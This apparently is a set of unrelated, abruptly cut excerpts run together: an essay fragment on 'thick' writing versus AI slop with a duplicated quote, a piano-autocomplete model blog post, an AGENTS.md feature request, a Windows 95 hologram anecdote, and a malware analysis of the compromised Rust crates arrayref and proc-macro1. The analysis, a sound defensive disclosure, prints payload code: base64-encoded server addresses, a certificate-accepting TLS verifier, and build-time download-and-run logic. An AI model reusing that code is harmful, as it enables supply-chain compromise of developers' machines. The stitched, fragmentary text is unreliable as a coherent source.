These sen­tences crum­ble im­me­di­ately upon in­spec­tion. First of all, there’s some­thing em­bar­rass­ing and grat­ing about get­ting generic en­cour­age­ment from a book—you don’t know me! Maybe I am not built to per­form un­der pres­sure”! I might be a pa­thetic weak­ling who is des­tined to choke at the piv­otal mo­ment. What then?

Plus, the facts here are brit­tle. I looked up the pa­per in ques­tion and could not find this 33 per­cent” num­ber any­where. Maybe it’s made up? And what is performance”, any­way? Performance on any­thing? Surely not; the stud­ies cited in the pa­per are mainly about tak­ing mul­ti­ple-choice tests.3 This is ex­actly the kind of find­ing that rises to promi­nence thanks to one small and flawed ex­per­i­ment, at­tracts a bunch of ex­cited re­search, gets wildly over­gen­er­al­ized un­der the hand­wavy phrase studies show”, and then shriv­els un­der a wave of de­bunk­ings and non-repli­ca­tions, such that af­ter years of work, the whole thing ends with an em­bar­rassed shrug. (Unsurprisingly, there is some ev­i­dence of pub­li­ca­tion bias for this built to per­form un­der pres­sure” ef­fect.)

Reading a book like this feels like wan­der­ing through a Potemkin vil­lage. Touch any of the ideas, and they tip over.

In non­fic­tion, it might seem like the so­lu­tion for puffery is pedantry, as if thick­ness comes from pre­sent­ing every rel­e­vant fact in ag­o­niz­ing de­tail. But it does­n’t, just as thick­ness in fic­tion does­n’t come from de­scrib­ing every ob­ject in the room be­fore you let the char­ac­ters open their mouths. Instead, thick­ness comes from sur­fac­ing a few facts well, and in such a way that you re­al­ize the ex­is­tence of en­tire uni­verses of ad­di­tional facts that could be known.

For ex­am­ple, here’s a short pas­sage from Jane Jacobs’ The Death and Life of Great American Cities:

[City plan­ners] op­er­ate on the premise that city peo­ple seek the sight of empti­ness, ob­vi­ous or­der and quiet. Nothing could be less true. People’s love of watch­ing ac­tiv­ity and other peo­ple is con­stantly ev­i­dent in cities every­where. This trait reaches an al­most lu­di­crous ex­treme on up­per Broadway in New York, where […] benches have been placed be­hind big con­crete buffers and on any day when the weather is even barely tol­er­a­ble these benches are filled with peo­ple at block af­ter block af­ter block, watch­ing the pedes­tri­ans who cross the mall in front of them, watch­ing the traf­fic, watch­ing the peo­ple on the busy side­walks, watch­ing each other.

[City plan­ners] op­er­ate on the premise that city peo­ple seek the sight of empti­ness, ob­vi­ous or­der and quiet. Nothing could be less true. People’s love of watch­ing ac­tiv­ity and other peo­ple is con­stantly ev­i­dent in cities every­where. This trait reaches an al­most lu­di­crous ex­treme on up­per Broadway in New York, where […] benches have been placed be­hind big con­crete buffers and on any day when the weather is even barely tol­er­a­ble these benches are filled with peo­ple at block af­ter block af­ter block, watch­ing the pedes­tri­ans who cross the mall in front of them, watch­ing the traf­fic, watch­ing the peo­ple on the busy side­walks, watch­ing each other.

Jacobs notes that fur­ther north, near Columbia University, the streets are qui­eter, the pedes­tri­ans are more or­derly, the traf­fic is calmer…and the benches are empty. I have tried them and can see why,” Jacobs says. No place could be more bor­ing.”4

There are a lot of threads here, so I’ll pick just one. Jacobs is point­ing out a fact that mil­lions of peo­ple ob­serve every day, but al­most none of them no­tice. Including me! I once lived on those bor­ing blocks that Jacobs de­scribes, and al­though I no­ticed some­thing amiss—I would tell friends I lived in the dead zone of Manhattan”—I never un­der­stood why. Nor do I think psy­chol­o­gists re­ally have an an­swer for what mo­ti­vates peo­ple to sit on benches and watch other hu­mans go by. What drive is this sat­is­fy­ing?

There is a dan­ger, of course, in seek­ing and prais­ing thick­ness, one that even I un­der­stood when I was a barely-sen­tient teenager. If you al­low for the ex­is­tence of se­cret trea­sures that can only be ac­cessed with ef­fort and analy­sis, then you em­power the elit­ists and the snobs. Buddy, don’t even talk to me un­til you’ve been in the cave!”

But look around. The snobs are in full re­treat. We have swung the pen­du­lum so far to­ward pop­ti­mism, to­ward the blink­ered idea that all art is equal be­cause all hu­mans are equal, to­ward the ethos that guilty plea­sures are sim­ply plea­sures, that I’m not sure if we can ever swing it back.

Erasing the line be­tween the thick and the thin has left us de­fense­less against slop at the ex­act mo­ment of its on­slaught. Everyone can sense there’s some­thing amiss with the prose that comes out of the ma­chines, but we lack the lan­guage to talk about it, and so we’ve con­verged on the idea that slop sim­ply means us­ing too many em dashes, bul­let points, and line breaks.

No, what sep­a­rates sub­stance from slop is thick­ness. Slop holds no se­crets; it sig­ni­fies noth­ing. Under scrutiny, it evap­o­rates. All it can of­fer is bot­tom­less­ness—sure, there’s noth­ing on, but at least there are in­fi­nite chan­nels!

That’s why I’m nei­ther sur­prised nor dis­mayed when stud­ies find that peo­ple pre­fer AI art to hu­man art. Of course they do! In the short term, thin­ness pre­vails. When peo­ple are mak­ing snap judg­ments, they want pretty flow­ers, po­ems that rhyme, pleas­ing pablum, the sim­u­lacrum of thought.5 But none of these last. The real ques­tion is not which of these things looks nicer when you look at them for two sec­onds?” but which of these things will stand the test of time?” Which of them will peo­ple fly across the world to see? Which of them will drive peo­ple so mad they’ll ma­jor in the hu­man­i­ties?

This kind of qual­ity can only be proven by longevity. Which an­swers an­other ques­tion I had when I was scowl­ing in the back of English class: why do we have to spend so much time read­ing old stuff? And the an­swer is: this is the only stuff that we can be sure is any good. Great works of art, like suc­cess­ful genes, con­vince hu­mans to keep pass­ing them on. If some­thing has sur­vived for cen­turies, then there’s prob­a­bly some­thing to it. We’re not still brew­ing Bronze Age beer and we’re not still sail­ing Bronze Age ships, but we are still telling Bronze Age sto­ries, and this war­rants our at­ten­tion.

Speaking of longevity, re­mem­ber a few months ago, when every­one was Studio Ghibli-fying all the pic­tures in their cam­era roll? Well, why did they stop? Why are those mil­lions of im­ages gath­er­ing dust in a data cen­ter while peo­ple con­tinue to watch ac­tual Studio Ghibli films? Why is it that Suno can AI-generate you any kind of mu­sic you want, but if you go on the Suno Reddit, you’ll find a run­ning joke that no one can stand any­one’s Suno mu­sic but their own—a qual­ity that, I can’t help but men­tion, also ap­plies to farts?

The slop-aca­lypse that so many of us fear, when peo­ple will stop look­ing at any­thing made by hu­mans and only look at things made by ma­chines—why has­n’t that hap­pened yet? Do the mod­els need an­other mil­lion to­kens? Are we still look­ing for the right prompts? Or could it be that we are at­tempt­ing to mass-pro­duce some­thing that can­not be mass-pro­duced?

Regardless, peo­ple keep try­ing. About once a week, I get a pitch from some AI startup that wants to au­to­mate some part of my writ­ing. The most re­cent one says it’s built for cred­i­ble thinkers who have a book’s worth of ideas but not the time it typ­i­cally takes to write one”.

I’m sorry, but if you’re build­ing or us­ing a tool like this, then you’ve got slop for brains. There is no such thing as hav­ing a book’s worth of ideas” that are all ready to go ex­cept for the small mat­ter of choos­ing the right words and putting them in the right or­der.

I know ex­actly the feel­ing that these slop-trepeneurs are prey­ing on, be­cause I feel it all the time: I’ve got these thoughts in my head, and boy oh boy they’re good ones, all-timers, re­ally, and it’s so an­noy­ing that I have to spend all this time mak­ing the words sound good, when the ideas be­hind the words are al­ready so good!

But this is an il­lu­sion. The ideas are not al­ready good. They need to be thick­ened. I un­der­stand why it’s tempt­ing to force a ma­chine do the hard part for you, but it can’t, and the hard part is the only part worth do­ing any­way. Making some­thing thick—that’s a lot of pres­sure! But re­mem­ber: you were built to per­form un­der pres­sure, and that’s just what you’ll do.

3

Also, those stud­ies did not re­mind par­tic­i­pants that their per­for­mance im­proves un­der pres­sure”—they told par­tic­i­pants that feel­ing anx­ious dur­ing a test does­n’t mean you will nec­es­sar­ily per­form worse, and it might make you per­form bet­ter.

Training a 125M-parameter Model to Autocomplete Piano

simedw.com

TL;DR: I trained a 125M-parameter trans­former to au­to­com­plete pi­ano per­for­mances in real time (~108 notes/​sec on an iPhone 15). The biggest im­prove­ments came from find­ing the right MIDI rep­re­sen­ta­tion, clean­ing the train­ing data ag­gres­sively, and adding DPO post-train­ing.

Almost a year ago, I started tin­ker­ing with an idea: con­nect my MIDI pi­ano to my phone, play some­thing, and have AI au­to­com­plete the song for me. Think GitHub Copilot, but for pi­ano.

It turned out to be a deeper rab­bit hole than I ex­pected. Fourteen ex­per­i­ments later, it is fi­nally at a point where I am happy enough with it to write about.

The app, RollTab, is avail­able for free here if you have a MIDI key­board and an iPhone/​iPad. 1

A few sound sam­ples

Each au­dio starts with a short prompt, fol­lowed by the mod­el’s con­tin­u­a­tion.

Pokémon, Pallet Town (8-note prompt)

Your browser does not sup­port the au­dio tag.

Final Fantasy VI, Terra’s Theme (16-note prompt)

Your browser does not sup­port the au­dio tag.

Für Elise (16-note prompt)

Your browser does not sup­port the au­dio tag.

What’s in a MIDI File?

A MIDI file is quite dif­fer­ent from an MP3 or other au­dio for­mats. Rather than stor­ing recorded sound, it stores mu­sic as a se­quence of events: a key is pressed at a cer­tain pitch and ve­loc­ity, a key is re­leased, the sus­tain pedal changes state, and so on. Other events in­clude switch­ing in­stru­ments or chang­ing vol­ume.

These events are of­ten or­gan­ised into mul­ti­ple tracks. A pop or game MIDI might have melody, chords, bass, drums, strings, and sev­eral synth parts. This pro­ject is fo­cused on pi­ano con­tin­u­a­tion, so I mostly kept pi­ano-like ma­te­r­ial and re­moved or re­duced the rest.

How Do You Tokenize Music?

To train a trans­former on these per­for­mances, I first needed to turn the MIDI events into a dis­crete se­quence the model could read and pre­dict. The most ob­vi­ous map­ping is to make a to­ken for every MIDI event:

NOTE_ON_60_80 # {pitch}_{velocity} NOTE_OFF_60 # {pitch} TIME_SHIFT_12 # {time step}

If you in­clude pitch and ve­loc­ity di­rectly in a NOTE_ON to­ken, the vo­cab­u­lary can grow quickly. There are 128 MIDI pitches and 128 ve­loc­ity val­ues, so the naive com­bined note-on vo­cab­u­lary has up to:

128 * 128 + 128 = 16,512

to­kens just for note-on and note-off. In prac­tice you would prob­a­bly bucket ve­loc­ity, but the ba­sic is­sue re­mains: many com­bi­na­tions are rare, and the model has to learn a lot of struc­ture from sparse to­kens.

A com­mon im­prove­ment is to fac­tor the rep­re­sen­ta­tion with a gram­mar:

[NOTE_ON, PITCH, VELOCITY] | [NOTE_OFF, PITCH] | [TIME_SHIFT, DURATION]

Now the out­put spaces are smaller:

NOTE_ON / NOTE_OFF / TIME_SHIFT PITCH: 128 val­ues VELOCITY: ~16 DURATION: ~100

You can en­force the gram­mar dur­ing gen­er­a­tion by mask­ing in­valid next to­kens. After NOTE_ON, only pitch to­kens are valid. After pitch, only ve­loc­ity to­kens are valid. This guar­an­tees syn­tac­ti­cally valid out­put.

I tried note-on/​note-off style rep­re­sen­ta­tions, but my mod­els tended to drift. They would for­get to emit note-off, leave hang­ing notes, or lose track of ac­tive state. That was es­pe­cially bad for my tar­get: a small model run­ning close to real time on a lap­top or phone.

Another rep­re­sen­ta­tion I tried was closer to:

[NOTE, PITCH, VELOCITY, DURATION] | [TIME_SHIFT, DURATION]

This avoids note-off drift be­cause note du­ra­tion is ex­plicit. The time shift to­ken ad­vances the play­head when no note is played.

This worked bet­ter mu­si­cally, but it was slow. One mu­si­cal note took roughly four au­tore­gres­sive trans­former steps. It also burns through the con­text win­dow quickly.

The fi­nal rep­re­sen­ta­tion

The rep­re­sen­ta­tion I even­tu­ally set­tled on was:

NOTE(pitch, delta_on­set, du­ra­tion, ve­loc­ity)

There is no sep­a­rate TIME_SHIFT event in the fi­nal ver­sion. Silence is rep­re­sented by delta_on­set on the next note: the time since the pre­vi­ous note on­set.

For ex­am­ple:

NOTE(C4, delta=0, du­ra­tion=12, ve­loc­ity=80) NOTE(D4, delta=24, du­ra­tion=12, ve­loc­ity=80)

means: play C4, wait 24 time steps be­fore the next note on­set, then play D4.

Chords are rep­re­sented as mul­ti­ple notes with delta_on­set = 0, sorted by pitch2:

NOTE(C4, delta=24, du­ra­tion=24, ve­loc­ity=80) NOTE(E4, delta=0, du­ra­tion=24, ve­loc­ity=78) NOTE(G4, delta=0, du­ra­tion=24, ve­loc­ity=82)

It’s also not a flat to­ken stream like:

NOTE, PITCH, DELTA, DURATION, VELOCITY

Instead of spend­ing four trans­former passes gen­er­at­ing the at­trib­utes of a note, the trans­former ad­vances the mu­sic by one com­plete note at a time. In prac­tice, this gets the large model to about 108 notes/​sec­ond on an iPhone, well above any­thing a hu­man would need for live play­ing.

Internally each note has five cat­e­gor­i­cal fields, each with its own vo­cab­u­lary3, with tim­ing quan­tized to fixed steps.4

[event_type, pitch_id, delta_id, du­ra­tion_id, ve­loc­i­ty_id]

Each field gets its own em­bed­ding. The note to­ken is the sum of all the em­bed­dings:

note = even­t_­type­_em­bed­ding[NOTE] + pitch_em­bed­ding[C4] + delta_em­bed­ding[12] + du­ra­tion_em­bed­ding[24] + ve­loc­i­ty_em­bed­ding[80]

The model then has sep­a­rate out­put heads: pitch, delta, du­ra­tion, and so on.

There is a small nested de­coder be­tween the fields, so later fields can con­di­tion on ear­lier pre­dicted fields. But the ex­pen­sive trans­former back­bone runs only once per note, not once per field.

Sustain Pedal

As you might know, press­ing down the sus­tain pedal on a pi­ano makes notes play even af­ter you re­lease them. I did­n’t want to muddy the im­ple­men­ta­tion with adding sus­tain pedal events. Instead, sus­tain is baked into note du­ra­tion dur­ing pre­pro­cess­ing.

If the key is re­leased while the sus­tain pedal is down, the note is ex­tended to the pedal-up time. If the same pitch is played again first, the ear­lier note is cut off at the re­trig­ger. The re­sult is a note du­ra­tion that ap­prox­i­mates the ac­tual sound­ing du­ra­tion.

This loses the ex­plicit pedal ges­ture, but it makes the mod­el­ing prob­lem much sim­pler: the model only has to pre­dict pitch, on­set, du­ra­tion, and ve­loc­ity.

Dataset

I searched through a lot of pub­licly avail­able datasets and col­lec­tions, fo­cus­ing mostly on older clas­si­cal mu­sic in the pub­lic do­main. The qual­ity var­ied wildly, so I ended up writ­ing quite a few clean­ing scripts.

The fi­nal dataset con­tained a few hun­dred thou­sand MIDI files, rep­re­sent­ing roughly 300 mil­lion note events.

The fi­nal pipeline:

se­lected pi­ano-fo­cused ma­te­r­ial

re­moved or re­duced patho­log­i­cal multi-track mix­tures

fil­tered by den­sity and pitch/​time cov­er­age

dedu­pli­cated by fin­ger­prints that ig­nore global trans­po­si­tion and uni­form tempo changes

grouped al­ter­nate ver­sions of the same com­po­si­tion into the same split

I tried scal­ing the dataset to roughly 5x the size, hop­ing it would im­prove per­for­mance, but the re­sult­ing mod­els were worse. Cleaning and se­lect­ing the data mat­tered more than sim­ply adding more of it.

Training

Initially, train­ing is just cross-en­tropy over the five out­put heads, summed to­gether:

type­_loss + pitch_loss + delta_loss + du­ra­tion_loss + ve­loc­i­ty_loss

This makes it easy to track pitch, du­ra­tion, and ve­loc­ity ac­cu­racy sep­a­rately, rather than re­ly­ing on a sin­gle ag­gre­gate next-to­ken loss.

Still, the train­ing ob­jec­tive has an im­por­tant lim­i­ta­tion: mu­sic con­tin­u­a­tion does not have a sin­gle cor­rect an­swer. A held-out song only gives the model one correct” next note, even though there are of­ten many con­tin­u­a­tions that would work mu­si­cally. Cross-entropy is use­ful for learn­ing the me­chan­ics of mu­sic, but not a great proxy for how good a full con­tin­u­a­tion sounds.

Augmentation

Augmentation was im­por­tant be­cause the live in­put is not a pris­tine MIDI file. It is me play­ing pi­ano, badly enough that notes might be slightly early, late, too hard, etc.

In the end I set­tled on the fol­low­ing aug­men­ta­tions:

global trans­po­si­tion

uni­form tempo scal­ing

du­ra­tion/​ve­loc­ity jit­ter

dropped prompt notes

Model

The ar­chi­tec­ture is es­sen­tially a fairly stan­dard de­coder-only trans­former: RMSNorm, ro­tary po­si­tional em­bed­dings, causal self-at­ten­tion, SwiGLU/MLP blocks, and au­tore­gres­sive gen­er­a­tion.

I mainly trained three model sizes:

small: about 33M pa­ra­me­ters medium: about 64M pa­ra­me­ters large: about 125M pa­ra­me­ters

The small model was great for quick ex­per­i­ments, but the medium model al­most al­ways beat it. The large model per­formed bet­ter, al­though not by a huge mar­gin.

I am cur­rently try­ing to get the medium model close to the large mod­el’s qual­ity, mostly to re­duce foot­print and la­tency in the iOS app.

Scheduled Sampling

My best base model used sched­uled sam­pling be­tween the fields of each note. Normally, dur­ing train­ing, the du­ra­tion and ve­loc­ity pre­dic­tions get to see the cor­rect pitch. But at in­fer­ence time they have to work with what­ever pitch the model ac­tu­ally pre­dicted.

So dur­ing train­ing I some­times fed the model its own pre­dicted pitch in­stead. I started at 0% for the first few epochs, then grad­u­ally in­creased it dur­ing train­ing, up to 50% in the best model.

Funnily enough, this in­creased val­i­da­tion loss but im­proved the con­tin­u­a­tions.

Gemini pref­er­ence ↑

sched­uled 50%

64.3%

with­out sched­uled

35.7%

Evaluation

At first, eval­u­a­tion was just me lis­ten­ing.

I gen­er­ated con­tin­u­a­tions from held-out songs us­ing prompts of 4 – 32 notes, then com­pared model out­puts man­u­ally. This was slow and an­noy­ing and af­ter a while every­thing sounded like noise.

Four-note prompts were the hard­est: there sim­ply was not much mu­si­cal con­text to work with. Eight notes worked bet­ter, while 16 – 32 note prompts were sub­stan­tially more re­li­able be­cause the model had enough struc­ture to in­fer what was hap­pen­ing.

Unprompted gen­er­a­tion is very much hit or miss, but that is­n’t the use-case I’m gun­ning for.

I also wrote a bunch of au­to­matic met­rics:

re­peated pitch n-grams

pitch en­tropy

pitch-class en­tropy

pitch range

Feature Request: Support AGENTS.md.

github.com

Codex, Amp, Cursor, and oth­ers are start­ing to stan­dard­ize around AGENTS.md (https://​agents.md/) — a uni­fied Markdown file that cod­ing agents can use to un­der­stand a code­base.

By con­trast, CLAUDE.md feels too spe­cific to Claude Code. It does­n’t work as well when col­lab­o­rat­ing with other de­vel­op­ers who aren’t us­ing Claude Code.

Windows brings out the Rorschach test in everyone

devblogs.microsoft.com

It seems that no mat­ter what you do, some­body will get of­fended.

Every Windows 95 box has an anti-piracy holo­gram on the side. The pho­tog­ra­pher chose his in­fant son as his model, since the hu­man face is very hard to copy ac­cu­rately. The baby sits next to a com­puter, and as you turn the holo­gram, his arm rises and points at the com­puter mon­i­tor, which bursts into a Windows 95 logo.

How cute. And every­body loves ba­bies.

Until we got a com­plaint from a gov­ern­ment (who shall re­main name­less for ob­vi­ous rea­sons) that was up­set with Windows 95 be­cause it de­picted naked chil­dren.

Naked chil­dren!?” we all thought to our­selves.

They were com­plain­ing about the holo­gram on the box. The baby was­n’t wear­ing a shirt. Even though the baby was vis­i­ble only from the waist up, the of­fended gov­ern­ment as­sumed that he was­n’t wear­ing pants ei­ther.

We had to pro­duce a new holo­gram. In the new holo­gram, the baby is wear­ing a shirt and over­alls. But since this was a rush job, we did­n’t have time to do the arm an­i­ma­tion.

So if you still have your copy of Windows 95, go look at the holo­gram. If the baby in your holo­gram is­n’t wear­ing a shirt, you have a gen­uine col­lec­tor’s item. I have seen the naked baby” holo­gram but un­for­tu­nately my copy of Windows 95 has a clothed baby.

If you hunt around the web, you can find lots of other peo­ple who claim to have found sub­lim­i­nal mes­sages in Windows 95. My fa­vorite is the one who claims to have found im­ages in the clouds bitmap. Hey, they’re clouds. They’re Nature’s Rorschach Test.

Windows XP had its own share of com­plaints. The orig­i­nal wall­pa­per for Windows XP was Red Moon Desert, un­til peo­ple claimed that Red Moon Desert looked like a pair of but­tocks. People also thought that one of the generic peo­ple used in the User Accounts con­trol panel peo­ple looked like Hitler. And one gov­ern­ment claimed the car­toon char­ac­ter in the orig­i­nal Switch Users di­a­log looked like an ob­scene body part. We had to change them all. But it makes me won­der about the men­tal state of our beta testers…

Author

Raymond has been in­volved in the evo­lu­tion of Windows for more than 30 years. In 2003, he be­gan a Web site known as The Old New Thing which has grown in pop­u­lar­ity far be­yond his wildest imag­i­na­tion, a de­vel­op­ment which still gives him the hee­bie-jee­bies. The Web site spawned a book, co­in­ci­den­tally also ti­tled The Old New Thing (Addison Wesley 2007). He oc­ca­sion­ally ap­pears on the Windows Dev Docs Twitter ac­count to tell sto­ries which con­vey no use­ful in­for­ma­tion.

Malicious Rust Crate arrayref Runs a Build-Time Payload

safedep.io

Summary

On August 20, 2026, a com­pro­mised re­lease of the pop­u­lar Rust crate ar­rayref ap­peared on crates.io. Version 0.3.10 added a de­pen­dency on a ty­posquat­ted crate called proc-macro1, whose build script down­loads and runs a re­mote bi­nary while a pro­ject com­piles. The code runs at build time, so sim­ply com­pil­ing a pro­ject that pulled the bad ver­sions is enough to trig­ger it. The crates.io team has since re­moved the ma­li­cious ver­sions.

Packages in­volved

The gen­uine ar­rayref and ap­pend-only-vec crates are main­tained by droundy, whose ac­count ap­pears to have been com­pro­mised. The cor­re­spond­ing GitHub repos­i­to­ries are no longer avail­able. github.com/​droundy/​ar­rayref, github.com/​droundy/​ap­pend-only-vec, and the en­tire github.com/​droundy ac­count all re­turn 404, so the up­stream code is no longer avail­able for in­spec­tion. A sep­a­rate ac­count, dtol­ney, pub­lished proc-macro1. The user­name closely re­sem­bles David Tolnay’s real dtol­nay ac­count. Its meta­data forges au­thors = [“David Tolnay <[email protected]>“] and points repos­i­tory at a dtol­nay/​proc-macro1 path that re­turns 404.

Note that proc-macro1 is not proc-macro2. The real crate that macro au­thors de­pend on is proc-macro2. The src/ of the ma­li­cious proc-macro1 is a gen­uine copy of proc-macro2, so builds kept work­ing while the build script ran.

What the build script does

The pay­load lives in the build script of proc-macro1 1.0.107. It stores its server ad­dress as base64 frag­ments and re­assem­bles them at build time, quoted in the ad­vi­sory:

// proc-macro1 – 1.0.107/​build.rs (quoted in rust­sec/​ad­vi­sory-db#3161)const SRC_URL_PARTS: &[&str] = &[“aHR0cHM6Ly8=”, MjMuMjU0Lg==”, MTY1Lg==”, MTEyOg==”, OTA4OS8=“];const END_URL_PARTS: &[&str] = &[“MjMuMjU0Lg==”, MTY1Lg==”, MTEyOg==”, NDQz”];

// proc-macro1 – 1.0.107/​build.rs (quoted in rust­sec/​ad­vi­sory-db#3161)

const SRC_URL_PARTS: &[&str] =

&[“aHR0cHM6Ly8=”, MjMuMjU0Lg==”, MTY1Lg==”, MTEyOg==”, OTA4OS8=“];

const END_URL_PARTS: &[&str] =

&[“MjMuMjU0Lg==”, MTY1Lg==”, MTEyOg==”, NDQz”];

Decoded, those frag­ments pro­duce the pay­load host hxxps://​23[.]254[.]165[.]112:9089/ and the com­mand and con­trol ad­dress 23[.]254[.]165[.]112:443. The script fetches an ar­chi­tec­ture-spe­cific bi­nary over a TLS con­nec­tion that ac­cepts any cer­tifi­cate with­out val­i­da­tion, then runs it de­tached from the build. On Unix it drops and runs /tmp/rust-setup. On Windows it writes a PowerShell script and a VBScript launcher un­der %TEMP% and starts them hid­den, then aban­dons the child process so the com­piler does not wait for it.

How it spread

The owner ac­count yanked the older ar­rayref re­leases 0.3.5 through 0.3.9. Yanking a crate makes Cargo print a consider up­dat­ing to a ver­sion that is not yanked” warn­ing, which nudges de­vel­op­ers to­ward the only non-yanked re­lease, the ma­li­cious 0.3.10. The re­porter who filed the RustSec ad­vi­sory noted this is how they hit it.

ar­rayref is widely used as a tran­si­tive de­pen­dency. It sits deep in com­mon Rust graphs through tiny-skia, sctk-ad­waita, and winit, which places it un­der most GUI work built on egui, eframe, and iced. The crate has about 245 mil­lion all-time down­loads (244,989,384 at time of writ­ing), with the clean 0.3.9 re­lease ac­count­ing for roughly 152 mil­lion. Those num­bers mea­sure how widely the crate is used rather than a count of af­fected builds.

Indicators of com­pro­mise

SHA256 of the re­moved crate ar­ti­facts:

Part 2: Technical Analysis

Our tech­ni­cal analy­sis cov­ers the two crates be­hind this in­ci­dent, ar­rayref 0.3.10 and proc-macro1 1.0.107. ar­rayref 0.3.10 pulls in a de­pen­dency called proc-macro1. The ma­li­cious code is in the build script of proc-macro1, not in ar­rayref it­self.

The in­jec­tion point in ar­rayref

ar­rayref is a small crate of four macros. Up to 0.3.9 it has no build script and no run­time de­pen­den­cies. Version 0.3.10 keeps that macro source and adds one line to the man­i­fest:

[package]name = arrayref”version = 0.3.10″build = false[de­pen­den­cies.proc-macro1]ver­sion = 1.0.107”

[package]

name = arrayref”

ver­sion = 0.3.10”

build = false

[dependencies.proc-macro1]

ver­sion = 1.0.107”

This [dependencies.proc-macro1] en­try is suf­fi­cient to in­tro­duce the ma­li­cious crate. The re­quire­ment 1.0.107 is a caret range, and with only 1.0.106 and 1.0.107 ever pub­lished it re­solves to the ma­li­cious 1.0.107. The crate’s own src/​lib.rs is the or­di­nary macro code, for ex­am­ple the ar­ray_ref! macro:

#[macro_export]macro_rules! ar­ray_ref { ($arr:expr, $offset:expr, $len:expr) => {{ { #[inline] const un­safe fn as_ar­ray<T>(slice: &[T]) -> &[T; $len] { &*(slice.as_ptr() as *const [_; $len]) } let off­set = $offset; let slice = &$arr[offset..offset + $len]; #[allow(unused_unsafe)] un­safe { as_ar­ray(slice) } } }};}

#[macro_export]

macro_rules! ar­ray_ref {

($arr:expr, $offset:expr, $len:expr) => {{

{

#[inline]

const un­safe fn as_ar­ray<T>(slice: &[T]) -> &[T; $len] {

&*(slice.as_ptr() as *const [_; $len])

}

let off­set = $offset;

let slice = &$arr[offset..offset + $len];

#[allow(unused_unsafe)]

un­safe {

as_ar­ray(slice)

}

}

}};

}

Nothing in the ar­rayref source ref­er­ences proc-macro1, and it does not need to. Cargo builds every de­clared non-op­tional de­pen­dency, whether or not the code uses it. So the man­i­fest en­try alone makes Cargo fetch and build proc-macro1 when­ever a pro­ject pulls in ar­rayref 0.3.10, and build­ing it runs the ma­li­cious build script.

proc-macro1 is a re­named copy of proc-macro2

The src/ of proc-macro1 is proc-macro2 with a me­chan­i­cal find-and-re­place of proc-macro2 to proc-macro1. The re­name reaches into doc­u­men­ta­tion links and even copied is­sue ref­er­ences, for ex­am­ple htm­l_­root_url = https://​docs.rs/​proc-macro1/​1.0.107 in src/​lib.rs and a github.com/​dtol­nay/​proc-macro1/​is­sues/​235 link in src/​fall­back.rs. Because the li­brary code is real proc-macro2, the crate works as a drop-in. This makes the ma­li­cious crate less no­tice­able dur­ing a nor­mal build.

The pack­age meta­data forges an iden­tity:

au­thors = [“David Tolnay <[email protected]>“]repository = https://​github.com/​dtol­nay/​proc-macro1

au­thors = [“David Tolnay <[email protected]>“]

repos­i­tory = https://​github.com/​dtol­nay/​proc-macro1

The email [email protected] is not David Tolnay’s, and the dtol­nay/​proc-macro1 repos­i­tory re­turns 404. The sus­pi­cious dif­fer­ence is in the build de­pen­den­cies, which real proc-macro2 does not have:

[build-dependencies.base64]version = 0.22”[build-dependencies.rustls]version = 0.23″features = [“ring”, std”, tls12”]default-features = false[build-de­pen­den­cies.ureq]ver­sion = 2″features = [“tls”]default-features = false

[build-dependencies.base64]

ver­sion = 0.22”

[build-dependencies.rustls]

ver­sion = 0.23”

fea­tures = [“ring”, std”, tls12”]

de­fault-fea­tures = false

[build-dependencies.ureq]

ver­sion = 2”

fea­tures = [“tls”]

de­fault-fea­tures = false

Those three crates give the build script base64 de­cod­ing, a TLS stack, and an HTTP client. These de­pen­den­cies are un­usual for a to­ken-pars­ing li­brary, and the ma­li­cious build script uses them.

The build script pay­load

The build script splits the server ad­dress into base64 frag­ments and re­builds it at com­pile time, so the raw string never ap­pears in the source:

const SRC_URL_PARTS: &[&str] = &[“aHR0cHM6Ly8=”, MjMuMjU0Lg==”, MTY1Lg==”, MTEyOg==”, OTA4OS8=“];const END_URL_PARTS: &[&str] = &[“MjMuMjU0Lg==”, MTY1Lg==”, MTEyOg==”, NDQz”];

const SRC_URL_PARTS: &[&str] = &[“aHR0cHM6Ly8=”, MjMuMjU0Lg==”, MTY1Lg==”, MTEyOg==”, OTA4OS8=“];

const END_URL_PARTS: &[&str] = &[“MjMuMjU0Lg==”, MTY1Lg==”, MTEyOg==”, NDQz”];

Decoded, SRC_URL_PARTS is hxxps://​23[.]254[.]165[.]112:9089/ and END_URL_PARTS is 23[.]254[.]165[.]112:443.

The down­load uses a TLS client that ac­cepts any cer­tifi­cate. The AcceptAll ver­i­fier re­turns suc­cess from every cer­tifi­cate and sig­na­ture check in the rustls ServerCertVerifier trait, so a self-signed cer­tifi­cate on the raw IP passes:

impl ServerCertVerifier for AcceptAll { fn ver­i­fy_serv­er_cert(/* … */) -> Result<ServerCertVerified, rustls::Er­ror> { Ok(ServerCertVerified::assertion()) } // ver­i­fy_tl­s12_sig­na­ture and ver­i­fy_tl­s13_sig­na­ture also re­turn suc­cess un­con­di­tion­ally}

impl ServerCertVerifier for AcceptAll {

fn ver­i­fy_serv­er_cert(/* … */) -> Result<ServerCertVerified, rustls::Er­ror> {

Ok(ServerCertVerified::assertion())

}

// ver­i­fy_tl­s12_sig­na­ture and ver­i­fy_tl­s13_sig­na­ture also re­turn suc­cess un­con­di­tion­ally

}

The build script picks the bi­nary to fetch by op­er­at­ing sys­tem and ar­chi­tec­ture. It sup­ports four tar­gets and aborts the build on any­thing else:

fn link_­suf­fix() -> &’static str { match (std::env::consts::OS, std::env::con­sts::ARCH) { (“linux”, x86_64″) => rust-crate_0.1.0”, (“windows”, x86_64”) => rust-crate_0.2.0″, (“macos”, x86_64″) => rust-crate_0.3.0”, (“macos”, aarch64”) => rust-crate_0.4.0″, (_, _) => panic!(“un­sup­ported plat­form”), }}

fn link_­suf­fix() -> &’static str {

match (std::env::consts::OS, std::env::con­sts::ARCH) {

(“linux”, x86_64″) => rust-crate_0.1.0”,

(“windows”, x86_64″) => rust-crate_0.2.0”,

(“macos”, x86_64″) => rust-crate_0.3.0”,

(“macos”, aarch64″) => rust-crate_0.4.0”,

(_, _) => panic!(“un­sup­ported plat­form”),

}

}

The down­load and ex­e­cu­tion run in­side main, be­fore the fea­ture gate and the gen­uine proc-macro2 con­fig­u­ra­tion logic that fol­lows. There is no fea­ture flag or en­vi­ron­ment check guard­ing it, so it runs on every build on a sup­ported plat­form:

// proc-macro1 – 1.0.107/​build.rs (inside main)let url = sr­c_­down­load­_url();let bytes = down­load­_bytes(&url);match std::env::con­sts::OS { linux” | macos” => run_u­nix_­pay­load(bytes), windows” => run_win­dows_­pay­load(bytes), os => panic!(“un­sup­ported OS: {os}“),}

// proc-macro1 – 1.0.107/​build.rs (inside main)

